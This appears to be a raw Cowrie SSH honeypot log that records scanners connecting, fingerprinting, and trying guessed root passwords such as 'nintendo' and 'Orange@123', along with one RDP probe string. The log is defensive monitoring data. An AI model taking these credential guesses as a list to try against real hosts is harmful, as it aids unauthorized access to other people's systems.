{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:51.519833Z","src_ip":"45.119.212.99","session":"624d69eecfd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nintendo","message":"login attempt [root/nintendo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:52.621547Z","src_ip":"45.119.212.99","session":"624d69eecfd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:53.931206Z","src_ip":"45.119.212.99","session":"624d69eecfd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":10808,"dst_ip":"10.17.0.5","dst_port":22,"session":"32b008f62587","protocol":"ssh","message":"New connection: 80.225.252.182:10808 (10.17.0.5:22) [session: 32b008f62587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:02.111429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:02.119480Z","src_ip":"80.225.252.182","session":"32b008f62587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:02.314747Z","src_ip":"80.225.252.182","session":"32b008f62587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flash","message":"login attempt [root/flash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:03.216929Z","src_ip":"80.225.252.182","session":"32b008f62587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:04.415984Z","src_ip":"80.225.252.182","session":"32b008f62587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59401,"dst_ip":"159.203.135.109","dst_port":22,"session":"e15b1454d411","protocol":"ssh","message":"New connection: 152.42.212.128:59401 (159.203.135.109:22) [session: e15b1454d411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:29.673510Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:29.678299Z","src_ip":"152.42.212.128","session":"e15b1454d411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:29.681852Z","src_ip":"152.42.212.128","session":"e15b1454d411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":50608,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c7b897b21b","protocol":"ssh","message":"New connection: 37.233.85.71:50608 (159.203.135.109:22) [session: 25c7b897b21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:32.684046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:32.689061Z","src_ip":"37.233.85.71","session":"25c7b897b21b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:32.798930Z","src_ip":"37.233.85.71","session":"25c7b897b21b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhbirf","message":"login attempt [root/vfhbirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:33.130121Z","src_ip":"37.233.85.71","session":"25c7b897b21b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:34.243231Z","src_ip":"37.233.85.71","session":"25c7b897b21b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49092,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd4f61974081","protocol":"ssh","message":"New connection: 109.237.96.109:49092 (159.203.135.109:22) [session: fd4f61974081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:43.198335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:43.202909Z","src_ip":"109.237.96.109","session":"fd4f61974081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:43.295733Z","src_ip":"109.237.96.109","session":"fd4f61974081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19921992","message":"login attempt [root/19921992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:43.575167Z","src_ip":"109.237.96.109","session":"fd4f61974081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:44.670045Z","src_ip":"109.237.96.109","session":"fd4f61974081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":49400,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3e81fdbbd63","protocol":"ssh","message":"New connection: 103.249.84.242:49400 (10.17.0.5:22) [session: e3e81fdbbd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:51.534811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:51.539317Z","src_ip":"103.249.84.242","session":"e3e81fdbbd63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:51.771776Z","src_ip":"103.249.84.242","session":"e3e81fdbbd63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prueba123","message":"login attempt [root/prueba123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:52.732369Z","src_ip":"103.249.84.242","session":"e3e81fdbbd63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:15:53.967874Z","src_ip":"103.249.84.242","session":"e3e81fdbbd63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":49436,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb7788f61ad1","protocol":"ssh","message":"New connection: 43.134.71.92:49436 (10.17.0.5:22) [session: cb7788f61ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:00.795323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:00.800613Z","src_ip":"43.134.71.92","session":"cb7788f61ad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:01.046167Z","src_ip":"43.134.71.92","session":"cb7788f61ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdata","message":"login attempt [root/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:02.061463Z","src_ip":"43.134.71.92","session":"cb7788f61ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:03.310368Z","src_ip":"43.134.71.92","session":"cb7788f61ad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":47675,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d54d64575cd","protocol":"ssh","message":"New connection: 106.241.31.17:47675 (159.203.135.109:22) [session: 4d54d64575cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:16.691449Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:16.696758Z","src_ip":"106.241.31.17","session":"4d54d64575cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":40784,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f17a10db35e","protocol":"ssh","message":"New connection: 45.119.212.99:40784 (10.17.0.5:22) [session: 1f17a10db35e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:18.664246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:18.669645Z","src_ip":"45.119.212.99","session":"1f17a10db35e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:18.971433Z","src_ip":"45.119.212.99","session":"1f17a10db35e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csilla","message":"login attempt [root/csilla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:20.343356Z","src_ip":"45.119.212.99","session":"1f17a10db35e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:21.617950Z","src_ip":"45.119.212.99","session":"1f17a10db35e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":54576,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0adeca7b383","protocol":"ssh","message":"New connection: 157.230.190.155:54576 (10.17.0.5:22) [session: d0adeca7b383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:49.985172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:49.990246Z","src_ip":"157.230.190.155","session":"d0adeca7b383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:49.995003Z","src_ip":"157.230.190.155","session":"d0adeca7b383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Orange@123","message":"login attempt [root/Orange@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:50.045508Z","src_ip":"157.230.190.155","session":"d0adeca7b383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:16:51.052868Z","src_ip":"157.230.190.155","session":"d0adeca7b383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":37098,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc7bd936838","protocol":"ssh","message":"New connection: 43.134.71.92:37098 (10.17.0.5:22) [session: 6fc7bd936838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:17.299212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:17.304544Z","src_ip":"43.134.71.92","session":"6fc7bd936838","protocol":"ssh"}
